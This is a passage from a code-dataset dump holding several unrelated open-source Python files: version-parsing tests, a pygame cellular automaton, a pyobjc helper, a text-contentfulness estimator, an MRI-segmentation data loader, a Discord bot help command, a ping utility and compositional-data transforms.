argvalues=[\n [\n '0.1.2-alpha.0-3-gf0a9091-dirty', True, '0.1.2-alpha.0+3-gf0a9091-dirty',\n Version(major=0, minor=1, patch=2, prerelease='alpha.0', build='3-gf0a9091-dirty')\n ],\n [\n '1.2.3-beta.4-3-gf0a9091', True, '1.2.3-beta.4+3-gf0a9091',\n Version(major=1, minor=2, patch=3, prerelease='beta.4', build='3-gf0a9091')\n ],\n [\n '1.2.3-3-gf0a9091', True, '1.2.3+3-gf0a9091',\n Version(major=1, minor=2, patch=3, prerelease=None, build='3-gf0a9091')\n ],\n [\n '0.1.2-alpha.0+3-gf0a9091-dirty', False, '0.1.2-alpha.0+3-gf0a9091-dirty',\n Version(major=0, minor=1, patch=2, prerelease='alpha.0', build='3-gf0a9091-dirty')\n ],\n ],\n)\ndef test_version_from_git(version_string, is_from_git_describe, expected_semver, expected_version):\n \"\"\"Test the version parser with parameter is_from_git_describe set to True or False\"\"\"\n version = Version.parse(string=version_string, is_from_git_describe=is_from_git_describe)\n\n assert str(version) == expected_semver\n assert version.full == expected_semver\n\n assert version.major == expected_version.major\n assert version.minor == expected_version.minor\n assert version.patch == expected_version.patch\n assert version.prerelease == expected_version.prerelease\n assert version.build == expected_version.build\n\n\n@pytest.mark.parametrize(\n argnames=['major', 'minor', 'patch', 'prerelease', 'build', 'expected_semver', 'expected_version'],\n argvalues=[\n [0, 1, 2, None, None, '0.1.2', Version(0, 1, 2)],\n [0, 1, 2, 'beta-1', None, '0.1.2-beta-1', Version(0, 1, 2, prerelease='beta-1')],\n [0, 1, 2, None, 'b4711', '0.1.2+b4711', Version(0, 1, 2, build='b4711')],\n [0, 1, 2, 'alpha.1', '123', '0.1.2-alpha.1+123', Version(0, 1, 2, 'alpha.1', '123')],\n ],\n)\ndef test_version_set(major, minor, patch, prerelease, build, expected_semver, expected_version):\n \"\"\"Test for setting new values to a `Version` object\"\"\"\n version = Version(major=major, minor=minor, patch=patch)\n version.set(major=major, minor=minor, patch=patch, prerelease=prerelease, build=build)\n\n assert str(version) == expected_semver\n assert version.full == expected_semver\n\n assert version.major == expected_version.major\n assert version.minor == expected_version.minor\n assert version.patch == expected_version.patch\n assert version.prerelease == expected_version.prerelease\n assert version.build == expected_version.build\n\n\ndef test_get_version_from_git_describe(git_describe_parameters):\n \"\"\"Test for getting a `Version` object from collecting/parsing the git describe output\"\"\"\n args = git_describe_parameters.get('args')\n version_string: Version = git_describe_parameters.get('expected')\n expected_version: Version = git_describe_parameters.get('expected_version')\n\n if expected_version is None:\n with pytest.raises(ValueError, match=f'\"{version_string}\" is not valid to Semantic Versioning Specification'):\n Version.get_from_git_describe(\n dirty=args.get('dirty'),\n )\n else:\n version = Version.get_from_git_describe(\n dirty=args.get('dirty'),\n )\n assert expected_version.full == version.full\n\n\ndef test_get_version_from_package_metadata():\n \"\"\"Test for getting a `Version` object from a packages metadata\"\"\"\n version: Version = Version.get_from_package_metadata()\n pkg = pkg_resources.get_distribution('version_helper')\n expected_version: Version = Version.parse(pkg.version, True)\n assert isinstance(version, Version)\n assert expected_version.core == version.core\n assert expected_version.full == version.full\n","repo_name":"dl6nm/version-helper","sub_path":"tests/version/test_version.py","file_name":"test_version.py","file_ext":"py","file_size_in_byte":7833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"35693783875","text":"import pygame\nfrom pygame.locals import *\n\nimport sys\n\nfrom grid import Grid\n\n\nWIN_SIZE = 640, 480\nTARGET_FPS = 0\n\nCELL_SIZE = 20\n\nGEN_TIME_MS = 500\nSPEED_MULTIPLIERS = [1, 2, 4, 8, 16]\n\n\nclass Application:\n\n def __init__(self):\n self.clock = pygame.time.Clock()\n pygame.display.set_caption('Cellular Automata')\n self.screen = pygame.display.set_mode(WIN_SIZE)\n\n self.grid = Grid(*WIN_SIZE, CELL_SIZE)\n self.paused = True\n self.current_gen_time_ms = 0\n self.current_speed_index = 2\n\n self.lmb_pressed = False\n\n def run(self):\n while True:\n\n frame_time_ms = self.clock.tick(TARGET_FPS)\n\n new_caption = f'Cellular Automata ' \\\n f'(FPS: {self.clock.get_fps():.2f}) ' \\\n f'({SPEED_MULTIPLIERS[self.current_speed_index]}x speed)'\n if self.paused:\n new_caption += ' (paused)'\n pygame.display.set_caption(new_caption)\n\n for event in pygame.event.get():\n if event.type == QUIT:\n self.terminate()\n elif event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n self.terminate()\n elif event.key == K_SPACE:\n self.paused = not self.paused\n elif event.key == K_UP:\n self.current_speed_index = min(self.current_speed_index + 1, len(SPEED_MULTIPLIERS) - 1)\n elif event.key == K_DOWN:\n self.current_speed_index = max(self.current_speed_index - 1, 0)\n elif event.key == K_c:\n self.grid.clear()\n elif event.type == MOUSEBUTTONDOWN:\n if event.button == 1:\n self.lmb_pressed = True\n # self.grid.add_cell(*event.pos)\n elif event.button == 3:\n self.grid.remove_cell(*event.pos)\n elif event.type == MOUSEBUTTONUP:\n if event.button == 1:\n self.lmb_pressed = False\n\n if self.lmb_pressed:\n self.grid.add_cell(*pygame.mouse.get_pos())\n\n if not self.paused:\n self.current_gen_time_ms += frame_time_ms\n if self.current_gen_time_ms >= GEN_TIME_MS / SPEED_MULTIPLIERS[self.current_speed_index]:\n self.current_gen_time_ms = 0\n self.grid.update()\n\n self.screen.fill((255, 255, 255))\n self.grid.draw(self.screen)\n pygame.display.update()\n\n def terminate(self):\n pygame.quit()\n sys.exit()\n\n\nif __name__ == '__main__':\n app = Application()\n app.run()\n","repo_name":"NicolasKingreen/cellular-automata","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"1856984042","text":"__all__ = (\"informal_protocol\",)\nimport objc\nimport collections\n\n\n# A mapping from a selector on a list of informal protocols\n# implementing that selector.\n#\n# The current implementation only uses the last informal\n# protocol that claims a selector.\n_selToProtocolMapping = collections.defaultdict(list)\n\n\ndef _informal_protocol_for_selector(sel):\n if sel in _selToProtocolMapping:\n return _selToProtocolMapping[sel][-1]\n else:\n return None\n\n\nclass informal_protocol:\n __slots__ = (\"__name__\", \"selectors\")\n __module__ = \"objc\"\n\n def __init__(self, name, selectors):\n if not isinstance(name, str):\n raise TypeError(\n f\"informal_protocol() argument 1 must be str, not {type(name).__name__}\"\n )\n\n self.__name__ = name\n self.selectors = tuple(selectors)\n for idx, item in enumerate(self.selectors):\n if not isinstance(item, objc.selector):\n raise TypeError(f\"Item {idx} is not a selector\")\n if isinstance(item, objc.native_selector):\n raise TypeError(f\"Item {idx} is a native selector\")\n if item.callable is not None:\n raise TypeError(f\"Item {idx} has a callable\")\n\n for item in self.selectors:\n _selToProtocolMapping[item.selector].append(self)\n\n def __repr__(self):\n return f\"<objc.informal_protocol {self.__name__!r} at 0x{hex(id(self))}>\"\n\n def classMethods(self):\n \"\"\"\n Return a list of all class methods that are part of this protocol\n \"\"\"\n return [\n {\n \"selector\": sel.selector,\n \"typestr\": sel.signature,\n \"required\": sel.isRequired,\n }\n for sel in self.selectors\n if sel.isClassMethod\n ]\n\n def instanceMethods(self):\n \"\"\"\n Return a list of all instance methods that are part of this protocol\n \"\"\"\n return [\n {\n \"selector\": sel.selector,\n \"typestr\": sel.signature,\n \"required\": sel.isRequired,\n }\n for sel in self.selectors\n if not sel.isClassMethod\n ]\n","repo_name":"ronaldoussoren/pyobjc","sub_path":"pyobjc-core/Lib/objc/_informal_protocol.py","file_name":"_informal_protocol.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":439,"dataset":"github-code","pt":"69"} +{"seq_id":"18957179536","text":"frase = 'Oi, tudo bem?'\nlista_nomes = ['joao', 'dudu', 'caio', 'rafael', 'joao']\n# lista_nomes.append('carlos') adiciona um objeto a lista\n# lista_nomes.remove('carlos') remove um objeto da lista\n#lista_nomes.clear()\n#lista_nomes.insert(0, 'romeu') adiciona um objeto a lista\n#lista_nomes[0] = 'roberto' atribui um objeto a lista direto no indice que eu quero\n# contador_joao = lista_nomes.count('joao') contar quantos objetos tem na list \n#print(contador_joao)\n#print(frase.lower())\n# frase_separada = frase.split(',')\n# print(frase_separada[0])\nfrase_nova = frase + ' Como vai voce?'\nprint(frase_nova)","repo_name":"Wiliami/learning-python","sub_path":"aula_04_strings_e_listas.py","file_name":"aula_04_strings_e_listas.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"19590028942","text":"import sys\nimport numpy as np\nfrom PyQt4 import QtGui, QtCore\nimport pylab as pl\nimport logging\nimport importlib\n\nimport oodb\nimport unit\n\n\nclass Table(QtGui.QTableWidget):\n def __init__(self, parent):\n super(Table, self).__init__(parent)\n\n self.itemChanged.connect(self.handleItemChanged)\n self.itemSelectionChanged.connect(self.handleItemSelectionChanged)\n\n self.windows = []\n\t\n def event(self, e):\n #print('QtGui.QTableWidget:', e)\n return super(Table, self).event(e)\n\n def editObject(self):\n print('editObject')\n\t\t\n for rng in self.selectedRanges():\n #for c in range(rng.leftColumn(), rng.rightColumn() + 1):\n for r in range(rng.topRow(), rng.bottomRow() + 1):\n print('r',r)\n obj = self.objectAt(r-1)\n print(obj)\n if obj:\n self.windows.append(oodb.gui.objectedit.Window(obj))\n \n def refresh(self):\n\n # import the database module\n globals()[oodb.NAME] = importlib.import_module(oodb.NAME)\n \n objtype = self.parent().get_objtype()\n filters = self.parent().get_filters()\n tests = self.parent().get_tests()\n \n text2 = \"[\" + self.parent().text_fields.toPlainText() + \"]\"\n\n\n logging.info(\"filters {}\".format(filters))\n logging.info(\"text2 {}\".format(repr(text2)))\n \n if text2:\n try:\n res2 = eval(text2)\n #print(res)\n\n gen = oodb.DB.objects(filters=filters, objtype=objtype, tests=tests)\n\n except:\n print(sys.exc_info())\n self.setRowCount(0)\n self.setColumnCount(0)\n return\n else:\n #self.rows = self.db.gen_rows(oodb.class_util.all, ['id', ('type',type), 'desc'])\n #self.rows = self.db.gen_rows(\n # oodb.class_util.designs,\n # ['id', ('type',lambda x: str(type(x))), 'Re', 'mdot']\n # )\n self.rows = []\n self.setRowCount(0)\n self.setColumnCount(0)\n return\n \n view = oodb.DB.gen_rows(gen, res2)\n self.view = view\n \n logging.info(self.view.r)\n logging.info(\"rows: {}\".format(view.r))\n \n #fmt = [Format()]*C\n \n self.setRowCount(view.r+1)\n self.setColumnCount(view.c)\n\n # headers\n for c in range(view.c):\n i = oodb.gui.TableWidgetItem(view.headers[c], False)\n self.setItem(0,c,i) \n \n # data\n for r in range(view.r):\n logging.info(\"row: {}\".format(r))\n for c in range(view.c):\n v = view.rows[r][c]\n \n #print(v,v.get())\n \n if v.editable:\n #print('editable')\n i = oodb.gui.TableWidgetItemRaw(\n view.headers[c],\n v.get(),\n v.obj)\n else:\n #print('not editable')\n i = oodb.gui.TableWidgetItem(v.get())\n\n #if isinstance(v, oodb.Value):\n #print('WhatsThis',str(v.obj))\n\n d = v.get()\n \n i.setToolTip(str(type(d)))\n \n i.setEditable(v.editable)\n \n self.setItem(r+1,c,i) \n\n self.resizeColumnsToContents()\n \n \n \n def contextMenuEvent(self, event):\n self.menu = QtGui.QMenu(self)\n\n editobjectAction = QtGui.QAction('Edit Object', self)\n editobjectAction.triggered.connect(self.editObject)\n \n self.menu.addAction(editobjectAction)\n # add other required actions\n self.menu.popup(QtGui.QCursor.pos())\n\n def items(self, rows, col):\n for row in rows:\n yield self.item(row,col)\n \n \n def plot(self):\n\n ret = self.selectionArray()\n\n if ret:\n rows = ret[0]\n cols = ret[1]\n arr = ret[2]\n \n print('cols',cols)\n print('arr')\n \n items = list(self.items(rows, cols[0]))\n for i in items:\n print(type(i.value))\n \n for a in arr:\n print(a)\n \n #print(arr[0])\n pl.plot(arr[0], arr[1], 'o', markerfacecolor='w', markersize=8.0)\n \n # TEMPORARY\n x_unit = ' (g/s)'\n y_unit = ' (bar)'\n \n pl.xlabel(self.item(0, cols[0]).text() + x_unit)\n pl.ylabel(self.item(0, cols[1]).text() + y_unit)\n \n pl.show()\n\n def selectionArray(self):\n l = self.selectedRanges()\n \n ret = oodb.util.processRange(l)\n\n if ret:\n rows = ret[0]\n cols = ret[1]\n\n print('rows cols', rows, cols)\n \n nRows = len(rows)\n nCols = len(cols)\n\n arr = []\n for c in range(nCols):\n arr.append(np.zeros((nRows)))\n \n for r in range(nRows):\n for c in range(nCols):\n #print('r c', r, c)\n R = rows[r]\n C = cols[c]\n #print('R C', R, C)\n \n i = self.item(R, C)\n #print(i.text())\n \n #arr[c][r] = float(i.text())\n print(type(i.value))\n \n if isinstance(i.value, unit.Value):\n f = float(i.value.v)\n else:\n f = float(i.value)\n \n arr[c][r] = f\n \n return rows, cols, arr\n \n return None\n \n def handleItemSelectionChanged(self):\n print('QtGui.QTableWidget: itemSelectionChanged')\n\n def objectAt(self, r):\n print(r)\n print(len(self.view.rows))\n v = self.view.rows[r][0]\n \n if isinstance(v, oodb.Value):\n return v.obj\n \n return None\n \n def handleItemChanged(self, item):\n if isinstance(item, oodb.gui.TableWidgetItemRaw):\n item.handleChanged()\n return\n \n #print(item, 'changed')\n #print(self.parent())\n \n v = self.view.rows[item.row()-1][item.column()]\n #print(v)\n \n if isinstance(v, oodb.Value) and v.editable:\n #print('edit value')\n setattr(\n v.obj,\n v.name,\n oodb.gui.convert(item.text()))\n","repo_name":"chuck1/python","sub_path":"old/oo_database/oodb/gui/spreadsheet/Table.py","file_name":"Table.py","file_ext":"py","file_size_in_byte":7373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"16771320506","text":"from nlpy.util import internal_resource, LineIterator\nfrom nltk_tokenizers import NLTKEnglishTokenizer\nfrom collections import Counter\n\n_FREQ_DATA_PATH = internal_resource(\"general/en_us_with_coca_1m_bigram_words.txt\")\n_MASSIVE_WORD_LIST = internal_resource(\"general/ms_top_100k_words.txt\")\n\nclass ContentfullnessEstimator(object):\n\n def __init__(self, source='frequency'):\n self.source = source\n if source == 'frequency':\n self._load_frequency()\n elif source == 'ranking':\n self._load_ranking()\n else:\n self._load_source()\n\n def _load_source(self):\n tokenizer = NLTKEnglishTokenizer()\n counter = Counter()\n for l in LineIterator(self.source):\n counter.update(map(str.lower, tokenizer.tokenize(l)))\n\n self._freqmap = dict(counter.items())\n self._maxfreq = sum(self._freqmap.values()) * 2 / len(self._freqmap)\n\n def _load_ranking(self):\n self._rank_list = []\n for l in LineIterator(_MASSIVE_WORD_LIST):\n self._rank_list.append(l)\n\n def _load_frequency(self):\n self._maxfreq = 3000\n self._freqmap = {}\n for line in LineIterator(_FREQ_DATA_PATH):\n freq, word = line.split(\"\\t\")\n freq = int(freq)\n if freq > self._maxfreq:\n continue\n self._freqmap[word] = freq\n\n def _estimate_frequency(self, tokens):\n \"\"\"\n Estimate contentfullness\n :param tokens:\n :return: contentfullness score\n \"\"\"\n score = 0.\n count = 0\n for token in tokens:\n if token in self._freqmap:\n freq = self._freqmap[token]\n score += (1 - (float(freq) / self._maxfreq))**3\n count += 1\n if count:\n finalscore = score / count\n if finalscore < 0.1:\n finalscore = 0.1\n return finalscore\n else:\n return 0.1\n\n def _estimate_ranking(self, tokens):\n score = 0.\n count = 0\n for token in tokens:\n idx = self._rank_list.index(token.lower())\n if idx >= 0:\n score += (float(idx) / len(self._rank_list))\n count += 1\n if count:\n finalscore = score*10 / count\n if finalscore < 0.1:\n finalscore = 0.1\n elif finalscore > 1.:\n finalscore = 1.\n return finalscore\n else:\n return 0.1\n\n def _estimate_source(self, tokens):\n score = 0.\n count = 0\n for token in tokens:\n if token in self._freqmap:\n freq = self._freqmap[token.lower()]\n score += (1 - (float(freq) / self._maxfreq))\n count += 1\n if count:\n finalscore = score / count\n if finalscore < 0.1:\n finalscore = 0.1\n elif finalscore > 1.:\n finalscore = 1.\n return finalscore\n else:\n return 0.9\n\n def estimate(self, tokens):\n if self.source == 'frequency':\n return self._estimate_frequency(tokens)\n elif self.source == 'ranking':\n return self._estimate_ranking(tokens)\n else:\n return self._estimate_source(tokens)\n\n def estimate_word(self, word):\n return self.estimate([word])","repo_name":"zomux/nlpy","sub_path":"nlpy/basic/contentfulness.py","file_name":"contentfulness.py","file_ext":"py","file_size_in_byte":3402,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"39638703969","text":"import os\nimport cv2\nfrom six.moves import xrange\nimport tensorflow as tf\nimport numpy as np\n\nPATCH_HEIGHT = 512\nPATCH_WIDTH = 512\nPATCH_DEPTH = 20\nNCHANNELS = 2\n\nNUM_CLASSES = 2\nNUM_EXAMPLES_PER_EPOCH_FOR_TRAIN = 51\nNUM_EXAMPLES_PER_EPOCH_FOR_EVAL = 10\n\ndef read_train_bin(filename_queue):\n \"\"\"Reads and parses patches from training data files.\n Recommendation: if you want N-way read parallelism, call this function\n N times. This will give you N independent Readers reading different\n files & positions within those files, which will give better mixing of\n examples.\n Args:\n filename_queue: A queue of strings with the filenames to read from.\n Returns:\n An object representing a single example, with the following fields:\n height: number of rows in the result (512)\n width: number of columns in the result (512)\n depth: the spatial depth of the result (20)\n channels: number of channels\n key: a scalar string Tensor describing the filename & record number\n for this example.\n label: an [height, width, depth] int32 Tensor with the image labels.\n int16image: a [height, width, depth, channels] int16 Tensor with the image data\n \"\"\"\n\n class ImageRecord(object):\n pass\n result = ImageRecord()\n\n result.height = PATCH_HEIGHT\n result.width = PATCH_WIDTH\n result.depth = PATCH_DEPTH\n result.nchannels = NCHANNELS\n image_bytes = result.height * result.width * result.depth * result.nchannels * 2\n label_bytes = result.height * result.width * result.depth * 2 \n\n # Every record consists of a label followed by the image, with a\n # fixed number of bytes for each.\n record_bytes = label_bytes + image_bytes\n\n # should be 512*512*20*2*2 + 512*512*20*2\n assert record_bytes == 31457280\n\n # Read a record, getting filenames from the filename_queue. No\n # header or footer in the format, so we leave header_bytes\n # and footer_bytes at their default of 0.\n reader = tf.FixedLengthRecordReader(record_bytes=record_bytes)\n result.key, value = reader.read(filename_queue)\n\n # Convert from a string to a vector of int16 that is record_bytes/2 long.\n record_bytes = tf.decode_raw(value, tf.int16)\n\n # The first bytes represent the label, which we convert from int16->int32.\n result.label = tf.cast(tf.reshape(tf.slice(record_bytes, [0], [int(label_bytes/2)]), \n [result.height, result.width, result.depth]), tf.int32)\n\n # The remaining bytes after the label represent the image, which we reshape.\n result.int16image = tf.reshape(tf.slice(record_bytes, [int(label_bytes/2)], [int(image_bytes/2)]),\n [result.height, result.width, result.depth, result.nchannels])\n\n return result\n\ndef _generate_image_and_label_batch(image, label, min_queue_examples,\n batch_size, shuffle):\n \"\"\"Construct a queued batch of images and labels.\n Args:\n image: 4-D Tensor of [height, width, depth, nchannels] of type.float32.\n label: 3-D Tensor of [height, width, depth] type.int32\n min_queue_examples: int32, minimum number of samples to retain\n in the queue that provides of batches of examples.\n batch_size: Number of images per batch.\n shuffle: boolean indicating whether to use a shuffling queue.\n Returns:\n images: Images. 5D tensor of [batch_size, height, width, depth, nchannels] sublsize.\n labels: Labels. 4D tensor of [batch_size, height, width, depth] size.\n \"\"\"\n # Create a queue that shuffles the examples, and then\n # read 'batch_size' images + labels from the example queue.\n num_preprocess_threads = 16\n if shuffle:\n images, label_batch = tf.train.shuffle_batch(\n [image, label],\n batch_size=batch_size,\n num_threads=num_preprocess_threads,\n capacity=min_queue_examples + 3 * batch_size,\n min_after_dequeue=min_queue_examples)\n else:\n images, label_batch = tf.train.batch(\n [image, label],\n batch_size=batch_size,\n num_threads=num_preprocess_threads,\n capacity=min_queue_examples + 3 * batch_size)\n\n # Display the training images in the visualizer.\n tf.summary.image('images', tf.reshape(images[:,:,:,5,0], (batch_size, PATCH_HEIGHT, PATCH_WIDTH, 1)))\n\n return images, tf.reshape(label_batch, [batch_size, PATCH_HEIGHT, PATCH_WIDTH, PATCH_DEPTH])\n\ndef inputs(eval_data, data_dir, batch_size, tag):\n \"\"\"Construct input for network evaluation using the Reader ops.\n Args:\n eval_data: bool, indicating if one should use the train or eval data set.\n data_dir: Path to the data directory.\n batch_size: Number of images per batch.\n tag: Tag to identify the dataset.\n Returns:\n images: Images. 5D tensor of [batch_size, PATCH_HEIGHT, PATCH_WIDTH, PATCH_DEPTH, NCHANNELS] size.\n labels: Labels. 4D tensor of [batch_size, PATCH_HEIGHT, PATCH_WIDTH, PATCH_DEPTH] size.\n \"\"\"\n if not eval_data:\n filenames = [os.path.join(data_dir, 'train_and_label_{0}_batch_{1}.bin'.format(tag, i))\n for i in xrange(1, 6)]\n num_examples_per_epoch = NUM_EXAMPLES_PER_EPOCH_FOR_TRAIN\n else:\n\n filenames = [os.path.join(data_dir,\n 'val_and_label_fullimg_batch_{0}.bin'.format(i))\n for i in xrange(1, 2)]\n num_examples_per_epoch = NUM_EXAMPLES_PER_EPOCH_FOR_EVAL\n\n for f in filenames:\n if not tf.gfile.Exists(f):\n raise ValueError('Failed to find file: ' + f)\n\n # Create a queue that produces the filenames to read.\n filename_queue = tf.train.string_input_producer(filenames)\n\n # Read examples from files in the filename queue.\n read_input = read_train_bin(filename_queue)\n image = tf.cast(read_input.int16image, tf.float32)\n\n # Subtract off mean and divide by the adjusted std. of the pixels - channel wise\n mean, variance = tf.nn.moments(image, axes=[0,1,2])\n adjusted_stddev = tf.maximum(tf.sqrt(variance), tf.div(tf.constant(1.0),\n tf.sqrt(tf.to_float(PATCH_HEIGHT*PATCH_WIDTH*PATCH_DEPTH))))\n\n # Subtract off the mean and divide by the adjusted std. of the pixels.\n float_image = tf.divide(tf.subtract(image, mean), adjusted_stddev) \n\n # Set the shapes of tensors.\n float_image.set_shape([PATCH_HEIGHT, PATCH_WIDTH, PATCH_DEPTH, NCHANNELS])\n read_input.label.set_shape([PATCH_HEIGHT, PATCH_WIDTH, PATCH_DEPTH])\n\n # Ensure that the random shuffling has good mixing properties.\n min_fraction_of_examples_in_queue = 0.4\n min_queue_examples = int(num_examples_per_epoch *\n min_fraction_of_examples_in_queue)\n\n # Generate a batch of images and labels by building up a queue of examples.\n return _generate_image_and_label_batch(float_image, read_input.label,\n min_queue_examples, batch_size,\n shuffle=False)\n \ndef distort_image(image, labels):\n\n # Generate an affine transformation.\n scale = 1\n pts1 = np.float32([[PATCH_HEIGHT/2, PATCH_WIDTH/2], [PATCH_HEIGHT/2, PATCH_WIDTH/2 + 25], [PATCH_HEIGHT/2 - 25, PATCH_WIDTH/2]])\n pts2 = np.float32(pts1 + np.random.normal(0, scale, pts1.shape))\n #pts2 = pts1\n M = cv2.getAffineTransform(pts1, pts2)\n distort = np.random.randint(5)\n\n if (distort == -1):\n # Loop through each depth and apply the affine transformation\n for i in range(PATCH_DEPTH):\n image[:,:,i,0] = cv2.warpAffine(image[:,:,i,0], M, (PATCH_WIDTH, PATCH_HEIGHT))\n #image[:,:,i,1] = cv2.warpAffine(image[:,:,i,1], M, (PATCH_WIDTH, PATCH_HEIGHT))\n labels_warped = cv2.warpAffine(np.float32(labels[:,:,i]), M, (PATCH_WIDTH, PATCH_HEIGHT)) \n labels[:,:,i] = np.int32(labels_warped) \n\n return [image, labels]\n\ndef distorted_inputs(data_dir, batch_size, tag):\n \"\"\"Construct distorted input for network evaluation using the Reader ops.\n Args:\n data_dir: Path to the data directory.\n batch_size: Number of images per batch.\n tag: Tag to identify the dataset.\n Returns:\n images: Images. 5D tensor of [batch_size, PATCH_HEIGHT, PATCH_WIDTH, PATCH_DEPTH, NCHANNELS] size.\n labels: Labels. 4D tensor of [batch_size, PATCH_HEIGHT, PATCH_WIDTH, PATCH_DEPTH] size.\n \"\"\"\n filenames = [os.path.join(data_dir, 'train_and_label_{0}_batch_{1}.bin'.format(tag, i))\n for i in xrange(1, 6)]\n\n for f in filenames:\n if not tf.gfile.Exists(f):\n raise ValueError('Failed to find file: ' + f)\n\n # Create a queue that produces the filenames to read.\n filename_queue = tf.train.string_input_producer(filenames)\n\n # Read examples from files in the filename queue.\n read_input = read_train_bin(filename_queue)\n image = tf.cast(read_input.int16image, tf.float32)\n label = read_input.label\n\n # Distort the image and labels with an affine transformation. \n distorted = tf.py_func(distort_image, [image, label], [tf.float32, tf.int32])\n image = distorted[0]\n label = distorted[1]\n\n # Subtract off mean and divide by the adjusted std. of the pixels - channel wise\n mean, variance = tf.nn.moments(image, axes=[0,1,2])\n adjusted_stddev = tf.maximum(tf.sqrt(variance), tf.div(tf.constant(1.0),\n tf.sqrt(tf.to_float(PATCH_HEIGHT*PATCH_WIDTH*PATCH_DEPTH))))\n\n # Subtract off the mean and divide by the adjusted std. of the pixels.\n float_image = tf.divide(tf.subtract(image, mean), adjusted_stddev) \n\n # Set the shapes of tensors.\n float_image.set_shape([PATCH_HEIGHT, PATCH_WIDTH, PATCH_DEPTH, NCHANNELS])\n label.set_shape([PATCH_HEIGHT, PATCH_WIDTH, PATCH_DEPTH])\n\n # Ensure that the random shuffling has good mixing properties.\n min_fraction_of_examples_in_queue = 0.4\n min_queue_examples = int(NUM_EXAMPLES_PER_EPOCH_FOR_TRAIN *\n min_fraction_of_examples_in_queue)\n\n # Generate a batch of images and labels by building up a queue of examples.\n return _generate_image_and_label_batch(float_image, label,\n min_queue_examples, batch_size,\n shuffle=False)\n \n","repo_name":"cosmicac/ucsf-mri-seg","sub_path":"raseg_input.py","file_name":"raseg_input.py","file_ext":"py","file_size_in_byte":9990,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"4789046505","text":"import discord\n\nfrom command import Command\nfrom module import Module\n\n\nclass InformationModule(Module):\n def __init__(self):\n super().__init__('informationmodule', 'Module for printing help for modules', [], [\n Command('help', 'show available commands', self.help_handler),\n Command('info', 'information about bot', self.info_handler)\n ], global_module=True)\n\n async def info_handler(self, client: discord.Client, message: discord.Message, arguments: str):\n message_text = \"I'm a bot made for the IMADA Discord channel. You can help develop me at \"\" \\\n \"\"https://github.com/MechaGK/imada-bot\"\n await client.send_message(message.channel, message_text)\n\n async def help_handler(self, client: discord.Client, message: discord.Message, arguments: str):\n modules = client.get_loaded_modules(message.author, message.channel)\n\n commands = []\n for module in modules:\n commands.extend(module.get_commands(message.author, message.channel))\n\n if len(commands) < 1:\n await client.send_message(message.channel, \"No commands available in this channel\")\n return\n\n message_text = 'Available commands:\\n```'\n\n for command in sorted(commands, key=lambda c: c.name):\n message_text += f'\\n{command.get_name():{15}} - {command.get_help()}'\n\n message_text += '\\n```\\nAvailable commands are different for each channel'\n\n await client.send_message(message.channel, message_text)\n","repo_name":"signegrau/imada-bot","sub_path":"modules/informationmodule.py","file_name":"informationmodule.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"42981663687","text":"#!/usr/bin/env python3\n# -*- coding=utf-8 -*-\nfrom random import randint\nfrom scapy.all import *\nfrom scapy.layers.inet import ICMP, IP\nimport subprocess\nimport os\nimport threading\nimport logging\n\n\ndef ping_one_subprocess(host):\n result = subprocess.run([f'ping -c 2 {host} &> /dev/null'], shell=True)\n # print(result)\n\n if result.returncode == 0:\n return host, \"ok\", os.getpid(), threading.currentThread().ident\n else:\n return host, \"fail\", os.getpid(), threading.currentThread().ident\n\n\ndef ping_one_scapy(host):\n logging.getLogger(\"scapy.runtime\").setLevel(logging.ERROR)\n\n id_ip = randint(1, 65535) # 随机产生IP ID位\n id_ping = randint(1, 65535) # 随机产生Ping ID位\n seq_ping = randint(1, 65535) # 随机产生Ping序列号位\n\n # 构造ping数据包\n packet1 = IP(dst=host, ttl=1, id=id_ip)/ICMP(id=id_ping, seq=seq_ping)/b'hello world'\n # print(packet1.show())\n\n # 发送数据包,获取响应信息,超时为2秒,关闭详细信息\n ping = sr1(packet1, timeout=2, verbose=False)\n # print(ping)\n\n if ping:\n return host, \"ok\", os.getpid(), threading.currentThread().ident\n else:\n return host, \"fail\", os.getpid(), threading.currentThread().ident\n\n\nif __name__ == '__main__':\n print(ping_one_subprocess('192.168.151.22'))\n print(ping_one_scapy('192.168.151.25'))\n","repo_name":"nilongxiang/Python_Basic","sub_path":"Devops/Ping/ping_one.py","file_name":"ping_one.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31547826755","text":"import numpy as np\nimport pandas as pd\nimport skbio\nfrom gneiss.composition import ilr_transform\nfrom gneiss.util import match_tips\nfrom gneiss.util import rename_internal_nodes\nfrom gneiss.util import NUMERATOR, DENOMINATOR\n\nfrom q2_gneiss._util import add_pseudocount\nfrom gneiss.balances import _balance_basis\nfrom skbio import OrdinationResults\n\n\ndef ilr_hierarchical(table: pd.DataFrame, tree: skbio.TreeNode,\n pseudocount: float = 0.5) -> pd.DataFrame:\n return ilr_transform(add_pseudocount(table, pseudocount), tree)\n\n\ndef ilr_phylogenetic(table: pd.DataFrame, tree: skbio.TreeNode,\n pseudocount: float = 0.5) -> (\n pd.DataFrame, skbio.TreeNode):\n t = tree.copy()\n t.bifurcate()\n table, t = match_tips(table, t)\n t = rename_internal_nodes(t)\n return ilr_transform(add_pseudocount(table, pseudocount), t), t\n\n\ndef ilr_phylogenetic_differential(\n differential: pd.DataFrame, tree: skbio.TreeNode) -> (\n pd.DataFrame, skbio.TreeNode):\n t = tree.copy()\n t.bifurcate()\n diff, _tree = match_tips(differential.T, t)\n _tree = rename_internal_nodes(_tree)\n in_nodes = [n.name for n in _tree.levelorder() if not n.is_tip()]\n basis = _balance_basis(_tree)[0]\n basis = 